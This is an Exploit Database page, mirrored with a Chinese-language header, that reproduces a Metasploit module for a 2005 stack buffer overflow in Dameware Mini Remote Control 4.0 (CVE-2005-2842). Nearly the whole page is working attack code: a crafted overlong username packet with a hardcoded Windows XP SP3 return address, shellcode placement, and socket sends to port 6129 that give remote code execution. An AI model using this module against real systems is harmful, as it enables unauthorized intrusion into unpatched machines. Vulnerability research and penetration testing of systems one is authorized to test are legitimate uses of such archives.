Dameware Mini Remote Control 4.0 – Username Stack Buffer Overflow (Metasploit)

• Exploit Database
• 16 阅读

• 作者： James Fitts
  日期： 2017-09-13
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42703/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Dameware Mini Remote Control Username Stack Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack based buffer overflow vulnerability found
  				in Dameware Mini Remote Control v4.0. The overflow is caused when sending
  				an overly long username to the DWRCS executable listening on port 6129.
  				The username is read into a strcpy() function causing an overwrite of
  				the return pointer leading to arbitrary code execution.
  			},
  			'Author' => [ 'James Fitts' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'CVE', '2005-2842' ],
  					[ 'BID', '14707' ],
  					[ 'URL', 'http://secunia.com/advisories/16655' ],
  					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-08/1074.html' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'	=> 140,
  					'BadChars' => "\x00\x0a\x0d",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  					'Compat'=>
  						{
  							'SymbolLookup' => '+ws2ord',
  						},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 
  						'Windows XP SP3 EN', 
  							{ 
  								# msvcrt.dll
  								# push esp/ retn
  								'Ret' => 0x77c35459, 
  							} 
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Sept 01 2005'))
  
  		register_options(
  			[
  				Opt::RPORT(6129),
  			], self.class )
  	end
  
  	def pkt1
  		p = payload.encoded
  
  		boom = "\x43" * 259
  		boom[100, 4] = [target.ret].pack('V')
  		boom[108, p.length] = p
  
  		packet = "\x00" * 4056
  		packet[0, 4] = "\x30\x11\x00\x00"
  		packet[4, 4] = "\x00\x00\x00\x00"
  		packet[8, 4] = "\xd7\xa3\x70\x3d"
  		packet[12, 4] = "\x0a\xd7\x0d\x40"
  		packet[16, 20] = "\x00" * 20
  		packet[36, 4] = "\x01\x00\x00\x00"
  
  		packet[40, 4] = [0x00002710].pack('V')
  		packet[196, 259] = rand_text_alpha(259)
  		packet[456, 259] = boom
  		packet[716, 259] = rand_text_alpha(259)
  		packet[976, 259] = rand_text_alpha(259)
  		packet[1236, 259] = rand_text_alpha(259)
  		packet[1496, 259] = rand_text_alpha(259)
  
  		return packet
  	end
  
  	def pkt2
  		packet = "\x00" * 4096
  		packet[756, 259] = rand_text_alpha(259)
  
  		return packet
  		
  	end
  
  	def exploit
  		connect
  
  		sock.put(pkt1)
  		sock.recv(1024)
  		sock.put(pkt2)
  		sock.recv(84)
  
  		handler
  		disconnect
  	end
  
  end
  __END__